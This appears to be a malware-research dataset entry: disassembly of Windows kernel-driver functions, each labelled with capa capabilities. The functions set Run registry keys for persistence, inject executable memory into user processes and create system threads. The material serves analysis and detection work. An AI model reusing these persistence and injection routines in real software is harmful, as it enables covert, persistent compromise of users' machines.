joyce8/EMBER2024-capa huggingface dataset:
Function at 0x19154
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x3c
push esi
push 1
call fcn.00018902
test al, al
je 0x19191
push 0x4e
pop eax
push 0x50
mov word [ebp - 0xc], ax
pop eax
xor esi, esi
push esi
mov word [ebp - 0xa], ax
push esi
lea eax, [ebp - 0xc]
push eax
mov dword [ebp - 8], 0x247c2
call fcn.000123c8
xor eax, eax
jmp 0x19278
call fcn.00016e66
xor esi, esi
test eax, eax
jne 0x191c6
push 0x4e
pop eax
push 0x50
mov word [ebp - 0xc], ax
pop eax
push esi
mov word [ebp - 0xa], ax
push esi
lea eax, [ebp - 0xc]
push eax
mov dword [ebp - 8], 0x24772
call fcn.000123c8
mov eax, 0xc0000001
jmp 0x19278
push 0x7e
pop eax
mov word [ebp - 0x14], ax
add eax, 2
push 0x1c
mov word [ebp - 0x12], ax
pop eax
push 0x1e
mov word [ebp - 0x1c], ax
pop eax
mov word [ebp - 0x1a], ax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x3c]
push eax
push 0x20006
lea eax, [ebp - 4]
push eax
mov dword [ebp - 4], esi
mov dword [ebp - 0x10], 0x246f2
mov dword [ebp - 0x18], 0x246d4
mov dword [ebp - 0x3c], 0x18
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x30], 0x240
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x28], esi
call dword [sym.imp.ntoskrnl.exe_ZwOpenKey]
cmp eax, esi
jl 0x19278
movzx eax, word [0x186d2a0]
push edi
push eax
push dword [0x186d2a4]
lea eax, [ebp - 0x1c]
push 1
push esi
push eax
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ZwSetValueKey]
push dword [ebp - 4]
mov edi, eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
cmp edi, esi
jl 0x19275
push 0x4e
pop eax
push 0x50
mov word [ebp - 0x24], ax
pop eax
push esi
mov word [ebp - 0x22], ax
push esi
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x20], 0x24684
call fcn.000123c8
mov eax, edi
pop edi
pop esi
leave
ret
Function at 0x19280
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x3c
push esi
push edi
push 2
call fcn.00018902
test al, al
jne 0x19391
push 5
call fcn.00018902
test al, al
jne 0x19391
call fcn.00016ffe
xor esi, esi
test al, al
jne 0x192dd
push 0x4e
pop eax
push 0x50
mov word [ebp - 0xc], ax
pop eax
push esi
mov word [ebp - 0xa], ax
push esi
lea eax, [ebp - 0xc]
push eax
mov dword [ebp - 8], 0x248be
call fcn.000123c8
mov eax, 0xc0000001
jmp 0x193b5
push 0x7e
pop eax
mov word [ebp - 0x14], ax
add eax, 2
push 0xa
mov word [ebp - 0x12], ax
pop eax
push 0xc
mov word [ebp - 0x1c], ax
pop eax
mov word [ebp - 0x1a], ax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x3c]
push eax
push 0x20006
lea eax, [ebp - 4]
push eax
mov dword [ebp - 4], esi
mov dword [ebp - 0x10], 0x246f2
mov dword [ebp - 0x18], 0x248b2
mov dword [ebp - 0x3c], 0x18
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x30], 0x240
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x28], esi
call dword [sym.imp.ntoskrnl.exe_ZwOpenKey]
cmp eax, esi
jl 0x193b5
movzx eax, word [0x186d2b8]
push eax
push dword [0x186d2bc]
lea eax, [ebp - 0x1c]
push 1
push esi
push eax
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ZwSetValueKey]
push dword [ebp - 4]
mov edi, eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
cmp edi, esi
jge 0x1936f
mov eax, edi
jmp 0x193b5
push 0x4e
pop eax
push 0x50
mov word [ebp - 0x24], ax
pop eax
push esi
mov word [ebp - 0x22], ax
push esi
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x20], 0x24862
call fcn.000123c8
jmp 0x1936b
push 0x4e
pop eax
push 0x50
mov word [ebp - 0xc], ax
pop eax
xor esi, esi
push esi
mov word [ebp - 0xa], ax
push esi
lea eax, [ebp - 0xc]
push eax
mov dword [ebp - 8], 0x24812
call fcn.000123c8
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x193be
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x3c
push esi
push edi
push 3
call fcn.00018902
test al, al
jne 0x194cf
push 6
call fcn.00018902
test al, al
jne 0x194cf
call fcn.000170cc
xor esi, esi
test al, al
jne 0x1941b
push 0x4e
pop eax
push 0x50
mov word [ebp - 0xc], ax
pop eax
push esi
mov word [ebp - 0xa], ax
push esi
lea eax, [ebp - 0xc]
push eax
mov dword [ebp - 8], 0x249be
call fcn.000123c8
mov eax, 0xc0000001
jmp 0x194f3
push 0x7e
pop eax
mov word [ebp - 0x14], ax
add eax, 2
push 0xe
mov word [ebp - 0x12], ax
pop eax
push 0x10
mov word [ebp - 0x1c], ax
pop eax
mov word [ebp - 0x1a], ax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x3c]
push eax
push 0x20006
lea eax, [ebp - 4]
push eax
mov dword [ebp - 4], esi
mov dword [ebp - 0x10], 0x246f2
mov dword [ebp - 0x18], 0x249ae
mov dword [ebp - 0x3c], 0x18
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x30], 0x240
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x28], esi
call dword [sym.imp.ntoskrnl.exe_ZwOpenKey]
cmp eax, esi
jl 0x194f3
movzx eax, word [0x186d2d0]
push eax
push dword [0x186d2d4]
lea eax, [ebp - 0x1c]
push 1
push esi
push eax
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ZwSetValueKey]
push dword [ebp - 4]
mov edi, eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
cmp edi, esi
jge 0x194ad
mov eax, edi
jmp 0x194f3
push 0x4e
pop eax
push 0x50
mov word [ebp - 0x24], ax
pop eax
push esi
mov word [ebp - 0x22], ax
push esi
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x20], 0x2495e
call fcn.000123c8
jmp 0x194a9
push 0x4e
pop eax
push 0x50
mov word [ebp - 0xc], ax
pop eax
xor esi, esi
push esi
mov word [ebp - 0xa], ax
push esi
lea eax, [ebp - 0xc]
push eax
mov dword [ebp - 8], 0x2490e
call fcn.000123c8
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x194fc
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x3c
push esi
push 4
call fcn.00018902
test al, al
je 0x19539
push 0x4e
pop eax
push 0x50
mov word [ebp - 0xc], ax
pop eax
xor esi, esi
push esi
mov word [ebp - 0xa], ax
push esi
lea eax, [ebp - 0xc]
push eax
mov dword [ebp - 8], 0x24aca
call fcn.000123c8
xor eax, eax
jmp 0x19620
call fcn.00017196
xor esi, esi
test al, al
jne 0x1956e
push 0x4e
pop eax
push 0x50
mov word [ebp - 0xc], ax
pop eax
push esi
mov word [ebp - 0xa], ax
push esi
lea eax, [ebp - 0xc]
push eax
mov dword [ebp - 8], 0x24a7a
call fcn.000123c8
mov eax, 0xc0000001
jmp 0x19620
push 0x7e
pop eax
mov word [ebp - 0x14], ax
add eax, 2
push 0x1a
mov word [ebp - 0x12], ax
pop eax
push 0x1c
mov word [ebp - 0x1c], ax
pop eax
mov word [ebp - 0x1a], ax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x3c]
push eax
push 0x20006
lea eax, [ebp - 4]
push eax
mov dword [ebp - 4], esi
mov dword [ebp - 0x10], 0x246f2
mov dword [ebp - 0x18], 0x24a5e
mov dword [ebp - 0x3c], 0x18
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x30], 0x240
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x28], esi
call dword [sym.imp.ntoskrnl.exe_ZwOpenKey]
cmp eax, esi
jl 0x19620
movzx eax, word [0x186d2e8]
push edi
push eax
push dword [0x186d2ec]
lea eax, [ebp - 0x1c]
push 1
push esi
push eax
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ZwSetValueKey]
push dword [ebp - 4]
mov edi, eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
cmp edi, esi
jl 0x1961d
push 0x4e
pop eax
push 0x50
mov word [ebp - 0x24], ax
pop eax
push esi
mov word [ebp - 0x22], ax
push esi
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x20], 0x24a0e
call fcn.000123c8
mov eax, edi
pop edi
pop esi
leave
ret
Function at 0x19628
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x840
mov eax, dword [0x294d0]
xor eax, ebp
mov dword [ebp - 4], eax
push 8
call fcn.00018902
test al, al
je 0x1967d
push 0x4e
pop eax
push 0x50
mov word [ebp - 0x810], ax
pop eax
push 0
mov word [ebp - 0x80e], ax
push 0
lea eax, [ebp - 0x810]
push eax
mov dword [ebp - 0x80c], 0x24c04
call fcn.000123c8
xor eax, eax
jmp 0x19890
call fcn.0001725a
test al, al
jne 0x196be
push 0x4e
pop eax
push 0x50
mov word [ebp - 0x810], ax
pop eax
push 0
mov word [ebp - 0x80e], ax
push 0
lea eax, [ebp - 0x810]
push eax
mov dword [ebp - 0x80c], 0x24bb4
call fcn.000123c8
mov eax, 0xc0000001
jmp 0x19890
push edi
push 0x7e
pop eax
mov word [ebp - 0x820], ax
add eax, 2
push 0x1a
mov word [ebp - 0x81e], ax
pop eax
push 0x1c
mov word [ebp - 0x818], ax
pop eax
mov word [ebp - 0x816], ax
lea eax, [ebp - 0x820]
mov dword [ebp - 0x838], eax
lea eax, [ebp - 0x840]
push eax
xor edi, edi
push 0x20006
lea eax, [ebp - 0x808]
push eax
mov dword [ebp - 0x808], edi
mov dword [ebp - 0x81c], 0x246f2
mov dword [ebp - 0x814], 0x24b98
mov dword [ebp - 0x840], 0x18
mov dword [ebp - 0x83c], edi
mov dword [ebp - 0x834], 0x240
mov dword [ebp - 0x830], edi
mov dword [ebp - 0x82c], edi
call dword [sym.imp.ntoskrnl.exe_ZwOpenKey]
cmp eax, edi
jl 0x1988f
push esi
push 0x22870
push dword [0x186d314]
call fcn.00012f2e
test eax, eax
jne 0x1982a
push 0x7fc
lea eax, [ebp - 0x800]
push edi
push eax
mov dword [ebp - 0x804], 0x22
call sub.ntoskrnl.exe_memset
movzx eax, word [0x186d310]
push eax
push dword [0x186d314]
lea eax, [ebp - 0x804]
push eax
call dword [sym.imp.ntoskrnl.exe_wcsncat]
add esp, 0x18
lea edi, [ebp - 0x804]
dec edi
dec edi
mov ax, word [edi + 2]
inc edi
inc edi
test ax, ax
jne 0x197b1
mov esi, 0x24b92
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x804]
dec edi
dec edi
mov ax, word [edi + 2]
inc edi
inc edi
test ax, ax
jne 0x197cc
push 0xa
lea eax, [ebp - 0x804]
pop ecx
mov esi, 0x24b6a
rep movsd dword es:[edi], dword [esi]
mov dword [0x186d314], eax
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
test cx, cx
jne 0x197ef
sub eax, edx
sar eax, 1
lea eax, [eax + eax + 2]
mov word [0x186d312], ax
lea eax, [ebp - 0x804]
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
test cx, cx
jne 0x19810
sub eax, edx
sar eax, 1
lea eax, [eax + eax + 2]
mov word [0x186d310], ax
xor edi, edi
movzx eax, word [0x186d310]
push eax
push dword [0x186d314]
lea eax, [ebp - 0x818]
push 1
push edi
push eax
push dword [ebp - 0x808]
call dword [sym.imp.ntoskrnl.exe_ZwSetValueKey]
push dword [ebp - 0x808]
mov esi, eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
cmp esi, edi
jl 0x1988c
push 0x4e
pop eax
push 0x50
mov word [ebp - 0x828], ax
pop eax
push edi
mov word [ebp - 0x826], ax
push edi
lea eax, [ebp - 0x828]
push eax
mov dword [ebp - 0x824], 0x24b1a
call fcn.000123c8
mov eax, esi
pop esi
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.000223b6
leave
ret
Function at 0x198a2
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x840
mov eax, dword [0x294d0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push 9
call fcn.00018902
test al, al
je 0x198f8
push 0x4e
pop eax
push 0x50
mov word [ebp - 0x810], ax
pop eax
xor ebx, ebx
push ebx
mov word [ebp - 0x80e], ax
push ebx
lea eax, [ebp - 0x810]
push eax
mov dword [ebp - 0x80c], 0x24d14
call fcn.000123c8
xor eax, eax
jmp 0x19ae6
call fcn.0001731e
xor ebx, ebx
test al, al
jne 0x19939
push 0x4e
pop eax
push 0x50
mov word [ebp - 0x810], ax
pop eax
push ebx
mov word [ebp - 0x80e], ax
push ebx
lea eax, [ebp - 0x810]
push eax
mov dword [ebp - 0x80c], 0x24cc4
call fcn.000123c8
mov eax, 0xc0000001
jmp 0x19ae6
push esi
push 0x7e
pop eax
mov word [ebp - 0x820], ax
add eax, 2
push 0x1e
mov word [ebp - 0x81e], ax
pop eax
push 0x20
mov word [ebp - 0x818], ax
pop eax
push 0x22870
push dword [0x186d31c]
mov word [ebp - 0x816], ax
lea eax, [ebp - 0x820]
mov dword [ebp - 0x808], ebx
mov dword [ebp - 0x81c], 0x246f2
mov dword [ebp - 0x814], 0x24ca4
mov dword [ebp - 0x840], 0x18
mov dword [ebp - 0x83c], ebx
mov dword [ebp - 0x834], 0x240
mov dword [ebp - 0x838], eax
mov dword [ebp - 0x830], ebx
mov dword [ebp - 0x82c], ebx
call fcn.00012f2e
test eax, eax
jne 0x19a64
push edi
push 0x7fc
lea eax, [ebp - 0x800]
push ebx
push eax
mov dword [ebp - 0x804], 0x22
call sub.ntoskrnl.exe_memset
movzx eax, word [0x186d318]
push eax
push dword [0x186d31c]
lea eax, [ebp - 0x804]
push eax
call dword [sym.imp.ntoskrnl.exe_wcsncat]
add esp, 0x18
lea edi, [ebp - 0x804]
dec edi
dec edi
mov ax, word [edi + 2]
inc edi
inc edi
cmp ax, bx
jne 0x19a09
mov esi, 0x24b92
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x804]
movsw word es:[edi], word [esi]
mov dword [0x186d31c], eax
lea edx, [eax + 2]
pop edi
mov cx, word [eax]
inc eax
inc eax
cmp cx, bx
jne 0x19a2b
sub eax, edx
sar eax, 1
lea eax, [eax + eax + 2]
mov word [0x186d31a], ax
lea eax, [ebp - 0x804]
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, bx
jne 0x19a4c
sub eax, edx
sar eax, 1
lea eax, [eax + eax + 2]
mov word [0x186d318], ax
lea eax, [ebp - 0x840]
push eax
push 0x20006
lea eax, [ebp - 0x808]
push eax
call dword [sym.imp.ntoskrnl.exe_ZwOpenKey]
cmp eax, ebx
jl 0x19ae5
movzx eax, word [0x186d318]
push eax
push dword [0x186d31c]
lea eax, [ebp - 0x818]
push 1
push ebx
push eax
push dword [ebp - 0x808]
call dword [sym.imp.ntoskrnl.exe_ZwSetValueKey]
push dword [ebp - 0x808]
mov esi, eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
cmp esi, ebx
jl 0x19ae3
push 0x4e
pop eax
push 0x50
mov word [ebp - 0x828], ax
pop eax
push ebx
mov word [ebp - 0x826], ax
push ebx
lea eax, [ebp - 0x828]
push eax
mov dword [ebp - 0x824], 0x24c54
call fcn.000123c8
mov eax, esi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.000223b6
leave
ret
Function at 0x19af8
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x840
mov eax, dword [0x294d0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push 0xa
call fcn.00018902
test al, al
je 0x19b4e
push 0x4e
pop eax
push 0x50
mov word [ebp - 0x810], ax
pop eax
xor ebx, ebx
push ebx
mov word [ebp - 0x80e], ax
push ebx
lea eax, [ebp - 0x810]
push eax
mov dword [ebp - 0x80c], 0x24e28
call fcn.000123c8
xor eax, eax
jmp 0x19d3a
call fcn.000173e2
xor ebx, ebx
test al, al
jne 0x19b8f
push 0x4e
pop eax
push 0x50
mov word [ebp - 0x810], ax
pop eax
push ebx
mov word [ebp - 0x80e], ax
push ebx
lea eax, [ebp - 0x810]
push eax
mov dword [ebp - 0x80c], 0x24dd8
call fcn.000123c8
mov eax, 0xc0000001
jmp 0x19d3a
push esi
push 0x7e
pop eax
push 0x22
mov word [ebp - 0x820], ax
add eax, 2
pop esi
mov word [ebp - 0x81e], ax
push 0x24
mov eax, esi
mov word [ebp - 0x818], ax
pop eax
push 0x22870
push dword [0x186d324]
mov word [ebp - 0x816], ax
lea eax, [ebp - 0x820]
mov dword [ebp - 0x808], ebx
mov dword [ebp - 0x81c], 0x246f2
mov dword [ebp - 0x814], 0x24db4
mov dword [ebp - 0x840], 0x18
mov dword [ebp - 0x83c], ebx
mov dword [ebp - 0x834], 0x240
mov dword [ebp - 0x838], eax
mov dword [ebp - 0x830], ebx
mov dword [ebp - 0x82c], ebx
call fcn.00012f2e
test eax, eax
jne 0x19cb8
push edi
push 0x7fc
lea eax, [ebp - 0x800]
push ebx
push eax
mov dword [ebp - 0x804], esi
call sub.ntoskrnl.exe_memset
movzx eax, word [0x186d320]
push eax
push dword [0x186d324]
lea eax, [ebp - 0x804]
push eax
call dword [sym.imp.ntoskrnl.exe_wcsncat]
add esp, 0x18
lea edi, [ebp - 0x804]
dec edi
dec edi
mov ax, word [edi + 2]
inc edi
inc edi
cmp ax, bx
jne 0x19c5d
mov esi, 0x24b92
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x804]
movsw word es:[edi], word [esi]
mov dword [0x186d324], eax
lea edx, [eax + 2]
pop edi
mov cx, word [eax]
inc eax
inc eax
cmp cx, bx
jne 0x19c7f
sub eax, edx
sar eax, 1
lea eax, [eax + eax + 2]
mov word [0x186d322], ax
lea eax, [ebp - 0x804]
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, bx
jne 0x19ca0
sub eax, edx
sar eax, 1
lea eax, [eax + eax + 2]
mov word [0x186d320], ax
lea eax, [ebp - 0x840]
push eax
push 0x20006
lea eax, [ebp - 0x808]
push eax
call dword [sym.imp.ntoskrnl.exe_ZwOpenKey]
cmp eax, ebx
jl 0x19d39
movzx eax, word [0x186d320]
push eax
push dword [0x186d324]
lea eax, [ebp - 0x818]
push 1
push ebx
push eax
push dword [ebp - 0x808]
call dword [sym.imp.ntoskrnl.exe_ZwSetValueKey]
push dword [ebp - 0x808]
mov esi, eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
cmp esi, ebx
jl 0x19d37
push 0x4e
pop eax
push 0x50
mov word [ebp - 0x828], ax
pop eax
push ebx
mov word [ebp - 0x826], ax
push ebx
lea eax, [ebp - 0x828]
push eax
mov dword [ebp - 0x824], 0x24d64
call fcn.000123c8
mov eax, esi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.000223b6
leave
ret
Function at 0x1e6e6
Capabilities:
Set registry value

Disassembly:
call fcn.0001e3ac
call fcn.0001e3d0
call fcn.0001e3f4
call fcn.0001e418
call fcn.0001e43c
call fcn.0001e514
call fcn.0001e460
call fcn.0001e484
call fcn.0001e4a8
call fcn.0001e4cc
call fcn.0001e4f0
call fcn.00019154
call fcn.00019280
call fcn.000193be
call fcn.000194fc
call fcn.00019628
call fcn.00019d4c
call fcn.0001a2b0
call fcn.0001a814
call fcn.0001ad78
call fcn.0001b2dc
call fcn.0001d37e
call fcn.0001b840
call fcn.0001bdf0
call fcn.0001c354
call fcn.0001c8b6
jmp fcn.0001ce1a
Function at 0x20dc4
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push edi
mov edi, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [edi], ax
je 0x20de0
xor eax, eax
jmp 0x20e9b
mov eax, dword [edi + 0x3c]
add eax, edi
cmp dword [eax], 0x4550
jne 0x20dd9
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x20dd9
mov eax, dword [eax + 0x78]
test eax, eax
je 0x20dd9
push esi
lea esi, [eax + edi]
push esi
call fcn.0001264e
test al, al
je 0x20e1f
mov eax, dword [esi + 0x1c]
add eax, edi
push eax
mov dword [ebp - 8], eax
call fcn.0001264e
test al, al
jne 0x20e23
xor eax, eax
jmp 0x20e9a
push ebx
mov ebx, dword [esi + 0x20]
add ebx, edi
push ebx
call fcn.0001264e
test al, al
je 0x20e97
mov eax, dword [esi + 0x24]
add eax, edi
push eax
mov dword [ebp - 4], eax
call fcn.0001264e
test al, al
je 0x20e97
mov esi, dword [esi + 0x18]
xor edi, edi
test esi, esi
jle 0x20e97
mov eax, dword [ebx + edi*4]
mov ecx, dword [ebp + 0xc]
add eax, dword [ebp + 8]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x20e75
test dl, dl
je 0x20e71
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x20e75
inc eax
inc eax
inc ecx
inc ecx
test dl, dl
jne 0x20e57
xor eax, eax
jmp 0x20e7a
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x20e85
inc edi
cmp edi, esi
jl 0x20e4e
jmp 0x20e97
mov eax, dword [ebp - 4]
movzx eax, word [eax + edi*2]
mov ecx, dword [ebp - 8]
mov eax, dword [ecx + eax*4]
add eax, dword [ebp + 8]
jne 0x20e99
xor eax, eax
pop ebx
pop esi
pop edi
leave
ret 8
Function at 0x20ea6
Capabilities:
Attach user process memory
Find process by pid

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
xor ebx, ebx
cmp dword [ebp + 0xc], ebx
jne 0x20ebd
xor eax, eax
jmp 0x20fa4
push esi
push 0x1e
pop eax
push 0x20
mov word [ebp - 0xc], ax
pop eax
mov word [ebp - 0xa], ax
lea eax, [ebp - 0xc]
push eax
mov dword [ebp - 8], 0x22f0a
call dword [sym.imp.ntoskrnl.exe_MmGetSystemRoutineAddress]
mov esi, eax
cmp esi, ebx
je 0x20ef7
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
mov dword [ebp - 4], ebx
call dword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
jge 0x20efe
xor eax, eax
jmp 0x20fa3
push edi
xor eax, eax
mov dword [ebp - 0x24], ebx
lea edi, [ebp - 0x20]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
push dword [ebp - 4]
call esi
mov esi, eax
push esi
call fcn.0001264e
test al, al
je 0x20f8d
push dword [esi + 0xc]
call fcn.0001264e
test al, al
je 0x20f8d
mov eax, dword [esi + 0xc]
mov ebx, dword [eax + 0x14]
xor edi, edi
mov esi, ebx
movzx eax, word [esi + 0x1c]
push 0x25834
shr eax, 1
push eax
push dword [esi + 0x20]
call fcn.00011e1c
test eax, eax
je 0x20f5f
mov edi, dword [esi + 0x10]
test edi, edi
jne 0x20f65
mov esi, dword [esi]
cmp esi, ebx
jne 0x20f40
xor esi, esi
test edi, edi
je 0x20f76
push dword [ebp + 0xc]
push edi
call fcn.00020dc4
mov esi, eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov ecx, dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov eax, esi
jmp 0x20fa2
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov ecx, dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x20fae
Capabilities:
Allocate or change rwx memory
Allocate user process rwx memory
Attach user process memory
Find process by pid
Free user process memory

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
xor ebx, ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
jge 0x20fd1
xor al, al
jmp 0x2102b
push esi
push edi
xor eax, eax
mov dword [ebp - 0x20], ebx
lea edi, [ebp - 0x1c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
push 0x40
push 0x3000
lea eax, [ebp + 0xc]
push eax
push ebx
lea eax, [ebp - 8]
push eax
mov esi, 0x1000
push 0xffffffffffffffff
mov dword [ebp + 0xc], esi
mov dword [ebp - 8], ebx
call dword [sym.imp.ntoskrnl.exe_ZwAllocateVirtualMemory]
test eax, eax
jge 0x21030
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov ecx, dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
xor al, al
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [ebp + 0xc], esi
jae 0x21063
push 0x8000
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0xffffffffffffffff
call dword [sym.imp.ntoskrnl.exe_ZwFreeVirtualMemory]
xor bl, bl
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov ecx, dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov al, bl
jmp 0x21029
mov edx, dword [ebp - 8]
mov ecx, dword [ebp + 8]
lea eax, [edx + 8]
lea ebx, [edx + 0x218]
mov edi, eax
movzx esi, word [ecx]
inc ecx
mov word [edi], si
inc ecx
inc edi
inc edi
test si, si
jne 0x21074
mov ecx, 0x208
mov word [edx + 2], cx
mov dword [edx + 4], eax
lea esi, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
test cx, cx
jne 0x21092
sub eax, esi
sar eax, 1
add eax, eax
mov word [edx], ax
mov eax, dword [ebp + 0x10]
push 0
mov byte [0x290c9], 0x90
mov dword [0x290cd], edx
mov dword [0x290df], eax
push 0
mov ecx, 0x100
mov esi, 0x290c8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
or dword [edx + 0x214], 0xffffffff
push ebx
call fcn.00020d28
mov bl, al
jmp 0x2104c
Function at 0x21aee
Capabilities:
Create thread

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
cmp byte [0x18b823c], bl
je 0x21b03
xor eax, eax
jmp 0x21b76
call fcn.00021520
cmp eax, ebx
jl 0x21b76
push 0x18b8230
call fcn.00021e36
push ebx
push 0x21a1c
push ebx
push ebx
push ebx
push 0x1fffff
lea eax, [ebp - 4]
push eax
mov dword [ebp - 4], ebx
call dword [sym.imp.ntoskrnl.exe_PsCreateSystemThread]
cmp eax, ebx
jne 0x21b76
mov eax, dword [sym.imp.ntoskrnl.exe_PsThreadType]
push esi
push ebx
push 0x18b8340
push ebx
push dword [eax]
push ebx
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ObReferenceObjectByHandle]
push dword [ebp - 4]
mov esi, eax
cmp esi, ebx
jge 0x21b66
mov byte [0x18b823d], 1
call dword [sym.imp.ntoskrnl.exe_ZwClose]
jmp 0x21b73
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov byte [0x18b823c], 1
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x18b903e
Capabilities:
Create device object

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
call fcn.018b9005
pop ebp
jmp fcn.00015878